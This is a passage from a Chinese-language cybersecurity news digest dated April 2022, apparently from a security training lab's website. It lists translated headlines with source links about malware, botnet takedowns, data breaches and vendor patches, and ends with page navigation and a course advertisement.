https://securityaffairs.co/wordpress/129935/hacking/palo-alto-networks-devices-openssl-flaws.html 6、VMware 针对影响多个产品的新漏洞发布了重要补丁
https://thehackernews.com/2022/04/vmware-releases-critical-patches-for.html 7、福克斯新闻泄露了 1300 万条内部记录,包括员工信息
https://www.infosecurity-magazine.com/news/employee-info-13-million-records/ 8、FFDroider恶意软件窃取Facebook、Twitter等多个社交应用的帐户
https://www.bleepingcomputer.com/news/security/new-ffdroider-malware-steals-facebook-instagram-twitter-accounts/ 9、黑客利用恶意应用程序攻击马来西亚8家银行的客户
https://therecord.media/hackers-use-malicious-apps-to-target-customers-of-8-malaysian-banks-researchers-say/ 10、Apple 仅针对 macOS Monterey 修补了关键的0day漏洞
https://www.theregister.com/2022/04/06/apple_patched_zerodays_in_macos/
网络安全日报 2022年04月07日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、研究人员发现首个专门针对 AWS Lambda 的恶意软件-Denonia
https://www.securityweek.com/denonia-first-malware-targeting-aws-lambda 2、FBI拆除了Sandworm APT运营的 Cyclops Blink 僵尸网络
https://securityaffairs.co/wordpress/129911/cyber-warfare-2/us-disrupts-cyclops-blink-botnet.html 3、Block披露涉及Cash App的数据泄露可能影响820万美国客户
https://securityaffairs.co/wordpress/129892/data-breach/block-cash-app-data-breach.html 4、风力涡轮机制造商Nordex Group遭网络攻击关闭部分IT系统
https://securityaffairs.co/wordpress/129875/security/a-cyber-attack-forced-the-wind-turbine-manufacturer-nordex-group-to-shut-down-some-of-it-systems.html 5、FIN7 黑客利用密码重用和软件供应链攻击
https://thehackernews.com/2022/04/fin7-hackers-leveraging-password-reuse.html 6、微软在其云服务中检测到 Spring4Shell 攻击
https://www.bleepingcomputer.com/news/security/microsoft-detects-spring4shell-attacks-across-its-cloud-services 7、德国关闭了全球最大暗网市场 Hydra
https://www.freebuf.com/news/327478.html 8、横河电机修复了其控制系统产品中的一系列漏洞
https://www.securityweek.com/yokogawa-patches-flaws-allowing-disruption-manipulation-physical-processes 9、英国零售商The Works遭网络攻击后关闭了部分门店
https://www.bitdefender.com/blog/hotforsecurity/the-works-hit-by-hackers-uk-retailer-shuts-some-stores-after-problems-with-payment-tills/ 10、得克萨斯州保险部暴露了 180 万人的数据
https://www.securityweek.com/texas-department-insurance-exposed-data-18-million-people
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

